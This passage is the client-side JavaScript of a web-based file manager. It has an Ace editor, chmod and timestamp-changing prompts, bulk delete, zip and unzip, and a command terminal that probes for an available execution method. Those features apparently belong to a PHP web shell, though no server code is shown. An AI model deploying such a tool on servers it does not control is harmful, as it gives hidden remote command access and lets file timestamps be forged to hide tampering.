                            <span><i class="fas fa-code"></i> <span id="aceLang">${aceMode.toUpperCase()}</span></span>
                            <span><i class="fas fa-font"></i> <span id="aceFontSize">13px</span></span>
                            <span><i class="fas fa-list-ol"></i> <span id="aceLines">${lines}</span> lines</span>
                            <span><i class="fas fa-keyboard"></i> <span id="aceChars">${chars.toLocaleString()}</span> chars</span>
                        </div>
                    </div>
                    ${warningHtml}
                    <div id="ace-editor-container" class="flex-1 border border-gray-700 rounded-lg overflow-hidden" style="min-height: 450px; height: 450px;"></div>
                    <div class="mt-3 flex justify-between items-center text-xs text-gray-500 flex-wrap gap-2">
                        <div class="flex gap-3">
                            <span><i class="fas fa-info-circle"></i> <span id="cursorPosition">Ln 1, Col 1</span></span>
                            <span><i class="fas fa-lock ${readonly ? 'text-red-400' : 'text-green-400'}"></i> ${readonly ? 'Read Only Mode' : 'Editable'}</span>
                        </div>
                        <div class="flex gap-2">
                            <button onclick="toggleWrapMode()" class="hover:text-white transition px-2 py-0.5 rounded bg-gray-700 text-xs">
                                <i class="fas fa-align-left"></i> Wrap
                            </button>
                            <button onclick="toggleFontSize()" class="hover:text-white transition px-2 py-0.5 rounded bg-gray-700 text-xs">
                                <i class="fas fa-text-height"></i> Font
                            </button>
                            <button onclick="toggleTheme()" class="hover:text-white transition px-2 py-0.5 rounded bg-gray-700 text-xs">
                                <i class="fas fa-palette"></i> Theme
                            </button>
                        </div>
                    </div>
                </div>
            `;
            document.getElementById('modal').classList.remove('hidden');
            setTimeout(() => {
                initAceEditor(content, aceMode, readonly);
            }, 150);
        })
        .catch(err => {
            showToast('Cannot edit file: ' + err.message, 'error');
        });
}

function editFileRaw(path) {
    editFile(path, true);
}

function initAceEditor(content, mode, readonly) {
    const container = document.getElementById('ace-editor-container');
    if (!container) return;
    if (aceEditor) {
        try { aceEditor.destroy(); } catch(e) {}
        aceEditor = null;
    }
    try {
        aceEditor = ace.edit("ace-editor-container");
        aceEditor.setTheme("ace/theme/monokai");
        aceEditor.session.setMode(`ace/mode/${mode}`);
        aceEditor.setReadOnly(readonly);
        aceEditor.setValue(content, -1);
        aceEditor.setOptions({
            fontSize: "13px",
            showPrintMargin: false,
            wrap: true,
            enableBasicAutocompletion: true,
            enableLiveAutocompletion: true,
            enableSnippets: false,
            highlightActiveLine: true,
            highlightSelectedWord: true,
            showLineNumbers: true,
            showGutter: true,
            useWorker: false
        });
        aceEditor.selection.on("changeCursor", function() {
            const pos = aceEditor.getCursorPosition();
            const cursorSpan = document.getElementById('cursorPosition');
            if (cursorSpan) cursorSpan.innerHTML = `Ln ${pos.row + 1}, Col ${pos.column + 1}`;
        });
        aceEditor.session.on("change", function() {
            const lines = aceEditor.session.getLength();
            const chars = aceEditor.getValue().length;
            const linesSpan = document.getElementById('aceLines');
            const charsSpan = document.getElementById('aceChars');
            if (linesSpan) linesSpan.innerHTML = lines;
            if (charsSpan) charsSpan.innerHTML = chars.toLocaleString();
        });
        aceEditor.commands.addCommand({
            name: "save",
            bindKey: { win: "Ctrl-S", mac: "Command-S" },
            exec: function() { saveFileAce(); }
        });
        aceEditor.focus();
    } catch(e) {
        console.error('Ace Editor error:', e);
        showToast('Error initializing editor', 'error');
    }
}

function saveFileAce() {
    if (!aceEditor) return;
    const content = aceEditor.getValue();
    if (currentIsRaw && !confirm('⚠️ WARNING: You are about to save changes to a binary file.\n\nThis could permanently corrupt the file if not done correctly.\n\nAre you ABSOLUTELY sure you want to save?')) {
        return;
    }
    const formData = new FormData();
    formData.append('file', currentFilePath);
    formData.append('content', content);
    showToast('Saving file...', 'info');
    fetch('?action=save', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast('✅ File saved successfully', 'success');
            if (aceEditor) {
                const lines = aceEditor.session.getLength();
                const chars = aceEditor.getValue().length;
                const linesSpan = document.getElementById('aceLines');
                const charsSpan = document.getElementById('aceChars');
                if (linesSpan) linesSpan.innerHTML = lines;
                if (charsSpan) charsSpan.innerHTML = chars.toLocaleString();
            }
        }
    })
    .catch(err => {
        showToast('Save failed: ' + err.message, 'error');
    });
}

function copyToClipboardAce() {
    if (!aceEditor) return;
    const content = aceEditor.getValue();
    navigator.clipboard.writeText(content)
        .then(() => showToast('Copied to clipboard!', 'success'))
        .catch(() => showToast('Copy failed', 'error'));
}

function undoAce() {
    if (aceEditor) aceEditor.undo();
}

function redoAce() {
    if (aceEditor) aceEditor.redo();
}

function findAce() {
    if (!aceEditor) return;
    aceEditor.focus();
    aceEditor.execCommand("find");
}

function replaceAce() {
    if (!aceEditor) return;
    aceEditor.focus();
    aceEditor.execCommand("replace");
}

let aceWrapMode = true;
function toggleWrapMode() {
    if (!aceEditor) return;
    aceWrapMode = !aceWrapMode;
    aceEditor.session.setUseWrapMode(aceWrapMode);
    showToast(aceWrapMode ? 'Word Wrap: ON' : 'Word Wrap: OFF', 'info');
}

let aceFontSize = 13;
function toggleFontSize() {
    if (!aceEditor) return;
    aceFontSize = aceFontSize === 13 ? 16 : (aceFontSize === 16 ? 11 : 13);
    aceEditor.setFontSize(aceFontSize + "px");
    const fontSizeSpan = document.getElementById('aceFontSize');
    if (fontSizeSpan) fontSizeSpan.innerHTML = aceFontSize + "px";
    showToast(`Font size: ${aceFontSize}px`, 'info');
}

let aceThemeIndex = 0;
const aceThemes = ['monokai', 'github_dark', 'tomorrow_night', 'dracula', 'solarized_dark', 'chaos', 'twilight'];
function toggleTheme() {
    if (!aceEditor) return;
    aceThemeIndex = (aceThemeIndex + 1) % aceThemes.length;
    aceEditor.setTheme(`ace/theme/${aceThemes[aceThemeIndex]}`);
    showToast(`Theme: ${aceThemes[aceThemeIndex]}`, 'info');
}

let isFullscreen = false;
function toggleFullscreen() {
    const modal = document.getElementById('modal');
    const modalContent = modal.querySelector('.glass');
    const fullscreenBtn = event?.target?.closest('button');
    if (!isFullscreen) {
        modal.classList.add('modal-fullscreen');
        modalContent.classList.add('editor-fullscreen');
        if (fullscreenBtn) {
            fullscreenBtn.innerHTML = '<i class="fas fa-compress"></i> Fullscreen';
        }
        isFullscreen = true;
        setTimeout(() => {
            if (aceEditor) {
                aceEditor.resize();
                aceEditor.focus();
            }
        }, 100);
    } else {
        modal.classList.remove('modal-fullscreen');
        modalContent.classList.remove('editor-fullscreen');
        if (fullscreenBtn) {
            fullscreenBtn.innerHTML = '<i class="fas fa-expand"></i> Fullscreen';
        }
        isFullscreen = false;
        setTimeout(() => {
            if (aceEditor) {
                aceEditor.resize();
            }
        }, 100);
    }
}

document.addEventListener('keydown', function(e) {
    if (e.key === 'F11') {
        e.preventDefault();
        const modal = document.getElementById('modal');
        if (modal && !modal.classList.contains('hidden')) {
            toggleFullscreen();
        }
    }
});

function showFileInfo(path) {
    fetch(`?action=getinfo&path=${path}`)
        .then(res => res.json())
        .then(data => {
            if (data.error) {
                showToast(data.error, 'error');
                return;
            }
            const date = new Date(data.modified * 1000);
            const isDir = data.type === 'dir';
            document.getElementById('modal-title').textContent = `File Info: ${data.name}`;
            document.getElementById('modal-body').innerHTML = `
                <div class="space-y-4">
                    <div class="grid grid-cols-2 gap-4">
                        <div><label class="block text-sm text-gray-400 mb-1">Name</label><input type="text" value="${data.name}" class="w-full px-3 py-2 bg-gray-800 rounded" readonly></div>
                        <div><label class="block text-sm text-gray-400 mb-1">Type</label><input type="text" value="${isDir ? 'Directory' : 'File'}" class="w-full px-3 py-2 bg-gray-800 rounded" readonly></div>
                        <div><label class="block text-sm text-gray-400 mb-1">Size</label><input type="text" value="${data.size_fmt} (${data.size} bytes)" class="w-full px-3 py-2 bg-gray-800 rounded" readonly></div>
                        <div><label class="block text-sm text-gray-400 mb-1">Permissions</label><input type="text" value="${data.permissions}" class="w-full px-3 py-2 bg-gray-800 rounded permission-bits" readonly></div>
                        <div><label class="block text-sm text-gray-400 mb-1">Modified</label><input type="text" value="${date.toLocaleString()}" class="w-full px-3 py-2 bg-gray-800 rounded" readonly></div>
                        <div><label class="block text-sm text-gray-400 mb-1">Owner/Group</label><input type="text" value="${data.owner || 'N/A'}/${data.group || 'N/A'}" class="w-full px-3 py-2 bg-gray-800 rounded" readonly></div>
                    </div>
                    <div class="border-t border-gray-800 pt-4">
                        <div class="flex gap-2">
                            <button onclick="changePermissionsPrompt('${encodeURIComponent(data.path)}', '${data.permissions}')" class="btn btn-warning">
                                <i class="fas fa-key mr-2"></i> Change Permissions
                            </button>
                            <button onclick="changeTimestampPrompt('${encodeURIComponent(data.path)}', '${date.toISOString().split('T')[0]}')" class="btn btn-warning">
                                <i class="fas fa-calendar-alt mr-2"></i> Change Timestamp
                            </button>
                            <button onclick="closeModal()" class="btn btn-secondary ml-auto">Close</button>
                        </div>
                    </div>
                </div>
            `;
            document.getElementById('modal').classList.remove('hidden');
        });
}

function changePermissionsPrompt(path, currentPerms) {
    let newPerms;
    if (isWindows) {
        newPerms = prompt('Enter permissions (444 = read-only, 666 = writable):', currentPerms);
    } else {
        newPerms = prompt('Enter new permissions (e.g., 0755, 0644):', currentPerms);
    }
    if (!newPerms || newPerms === currentPerms) return;
    if (!isWindows && !/^[0-7]{3,4}$/.test(newPerms)) {
        showToast('Invalid permissions format. Use 3-4 octal digits (e.g., 0755)', 'error');
        return;
    }
    const formData = new FormData();
    formData.append('path', decodeURIComponent(path));
    formData.append('mode', newPerms);
    fetch('?action=chmod', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast(`Permissions changed to ${newPerms}`, 'success');
            loadDir(currentDir);
        }
    });
}

function changeTimestampPrompt(path, currentDate) {
    const newDate = prompt('Enter new date/time (YYYY-MM-DD HH:MM:SS):', `${currentDate} 12:00:00`);
    if (!newDate) return;
    const formData = new FormData();
    formData.append('path', decodeURIComponent(path));
    formData.append('date', newDate);
    fetch('?action=touchdate', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast(`Timestamp changed to ${newDate}`, 'success');
            loadDir(currentDir);
        }
    });
}

function downloadFile(path) {
    window.open(`?action=download&file=${path}`, '_blank');
}

function deleteItem(path) {
    if (!confirm('Are you sure you want to delete this item?')) return;
    const formData = new FormData();
    formData.append('path', decodeURIComponent(path));
    fetch('?action=delete', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast('Item deleted', 'success');
            selectedFiles.delete(decodeURIComponent(path));
            updateSelectedCount();
            loadDir(currentDir);
        }
    })
    .catch(err => {
        showToast('Delete failed', 'error');
    });
}

function renameItem(path) {
    const oldName = decodeURIComponent(path).split(/[\/\\]/).pop();
    const newName = prompt('Enter new name:', oldName);
    if (!newName || newName === oldName) return;
    const formData = new FormData();
    formData.append('old', decodeURIComponent(path));
    formData.append('new', newName);
    fetch('?action=rename', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast('Renamed successfully', 'success');
            loadDir(currentDir);
        }
    })
    .catch(err => {
        showToast('Rename failed', 'error');
    });
}

function createFolder() {
    const name = document.getElementById('folder-name').value.trim();
    if (!name) {
        showToast('Enter folder name', 'error');
        return;
    }
    const formData = new FormData();
    formData.append('dir', currentDir);
    formData.append('name', name);
    fetch('?action=mkdir', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast('Folder created', 'success');
            document.getElementById('folder-name').value = '';
            loadDir(currentDir);
        }
    })
    .catch(err => {
        showToast('Create failed', 'error');
    });
}

function createFile() {
    const name = document.getElementById('file-name').value.trim();
    if (!name) {
        showToast('Enter file name', 'error');
        return;
    }
    const formData = new FormData();
    formData.append('dir', currentDir);
    formData.append('name', name);
    fetch('?action=touch', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast('File created', 'success');
            document.getElementById('file-name').value = '';
            loadDir(currentDir);
        }
    })
    .catch(err => {
        showToast('Create failed', 'error');
    });
}

function extractArchive(path) {
    const target = prompt('Extract to directory:', currentDir) || currentDir;
    const formData = new FormData();
    formData.append('file', decodeURIComponent(path));
    formData.append('dir', target);
    fetch('?action=unzip', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast('Archive extracted', 'success');
            loadDir(currentDir);
        }
    })
    .catch(err => {
        showToast('Extract failed', 'error');
    });
}

function toggleSelect(path, checked) {
    const decodedPath = decodeURIComponent(path);
    if (checked) {
        selectedFiles.add(decodedPath);
    } else {
        selectedFiles.delete(decodedPath);
    }
    updateSelectedCount();
}

function toggleSelectAll(checked) {
    document.querySelectorAll('.file-check').forEach(cb => {
        cb.checked = checked;
        const row = cb.closest('tr');
        if (row) {
            const path = row.dataset.path;
            if (path) {
                const decodedPath = decodeURIComponent(path);
                if (checked) {
                    selectedFiles.add(decodedPath);
                } else {
                    selectedFiles.delete(decodedPath);
                }
            }
        }
    });
    updateSelectedCount();
}

function selectAll() {
    toggleSelectAll(true);
}

function clearSelection() {
    toggleSelectAll(false);
}

function updateSelectedCount() {
    document.getElementById('selected-count').textContent = `${selectedFiles.size} selected`;
    document.getElementById('select-all').checked = selectedFiles.size > 0 &&
        selectedFiles.size === document.querySelectorAll('.file-check').length;
}

function deleteSelected() {
    if (selectedFiles.size === 0) {
        showToast('No files selected', 'warning');
        return;
    }
    if (!confirm(`Delete ${selectedFiles.size} selected items? This action cannot be undone.`)) return;
    const paths = Array.from(selectedFiles);
    const formData = new FormData();
    formData.append('paths', JSON.stringify(paths));
    fetch('?action=deletemultiple', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.success) {
            const results = data.results || {};
            let message = `✅ ${results.success || 0} item(s) deleted`;
            if (results.failed && results.failed > 0) {
                message += `, ❌ ${results.failed} failed`;
                if (results.errors && results.errors.length > 0) {
                    showToast(message + '<br>' + results.errors.slice(0, 3).join('<br>'), 'warning', true);
                } else {
                    showToast(message, 'warning');
                }
            } else {
                showToast(message, 'success');
            }
            selectedFiles.clear();
            updateSelectedCount();
            loadDir(currentDir);
        } else {
            showToast(data.error || 'Delete failed', 'error');
        }
    })
    .catch(err => {
        showToast('Delete failed: ' + err.message, 'error');
    });
}

function zipSelected() {
    if (selectedFiles.size === 0) {
        showToast('No files selected', 'warning');
        return;
    }
    const name = prompt('Archive name:', 'archive.zip') || 'archive.zip';
    const formData = new FormData();
    formData.append('dir', currentDir);
    formData.append('name', name);
    formData.append('targets', JSON.stringify(Array.from(selectedFiles)));
    fetch('?action=zip', {
        method: 'POST',
        body: formData
    })
    .then(res => res.json())
    .then(data => {
        if (data.error) {
            showToast(data.error, 'error');
        } else {
            showToast(`Archive created: ${data.archive}`, 'success');
            selectedFiles.clear();
            updateSelectedCount();
            loadDir(currentDir);
        }
    })
    .catch(err => {
        showToast('Archive failed', 'error');
    });
}

function closeModal() {
    document.getElementById('modal').classList.add('hidden');
}

function logout() {
    if (confirm('Are you sure you want to logout?')) {
        window.location.href = '?logout=1';
    }
}

function escapeHtml(str) {
    if (!str) return '';
    return str.replace(/[&<>]/g, function(m) {
        if (m === '&') return '&amp;';
        if (m === '<') return '&lt;';
        if (m === '>') return '&gt;';
        return m;
    });
}

document.addEventListener('click', function(e) {
    const crumb = e.target.closest('#breadcrumbs a');
    if (crumb) {
        e.preventDefault();
        loadDir(crumb.dataset.fmDir);
    }
});

document.addEventListener('keydown', function(e) {
    if ((e.ctrlKey || e.metaKey) && e.key === 'r') {
        e.preventDefault();
        loadDir(currentDir);
    }
    if ((e.ctrlKey || e.metaKey) && e.key === 't') {
        e.preventDefault();
        document.getElementById('command-input').focus();
    }
    if (e.key === 'Escape' && !document.getElementById('modal').classList.contains('hidden')) {
        closeModal();
    }
    if (e.key === 'Escape' && !document.getElementById('dir-picker-modal').classList.contains('hidden')) {
        closeDirPickerModal();
    }
});

window.onload = function() {
    loadDir(currentDir);
    updateTerminalPrompt();
    setupDragDrop();
    setTimeout(() => {
        fetch('?action=execute', {
            method: 'POST',
            body: new FormData()
        })
        .then(res => res.json())
        .then(data => {
            const output = document.getElementById('terminal-output');
            const methodEl = document.getElementById('exec-method');
            if (data.success) {
                output.innerHTML = `<div class="output">${data.output || 'Terminal ready'}</div>`;
                methodEl.textContent = data.method || 'Unknown';
                methodEl.className = 'text-xs px-2 py-1 bg-green-900/30 text-green-400 rounded';
            } else {
                output.innerHTML = `<div class="error">${data.error || 'Terminal not available'}</div>`;
                methodEl.textContent = 'Disabled';
                methodEl.className = 'text-xs px-2 py-1 bg-red-900/30 text-red-400 rounded';
            }
            output.scrollTop = output.scrollHeight;
        });
    }, 1000);
};
    </script>
</body>
</html>
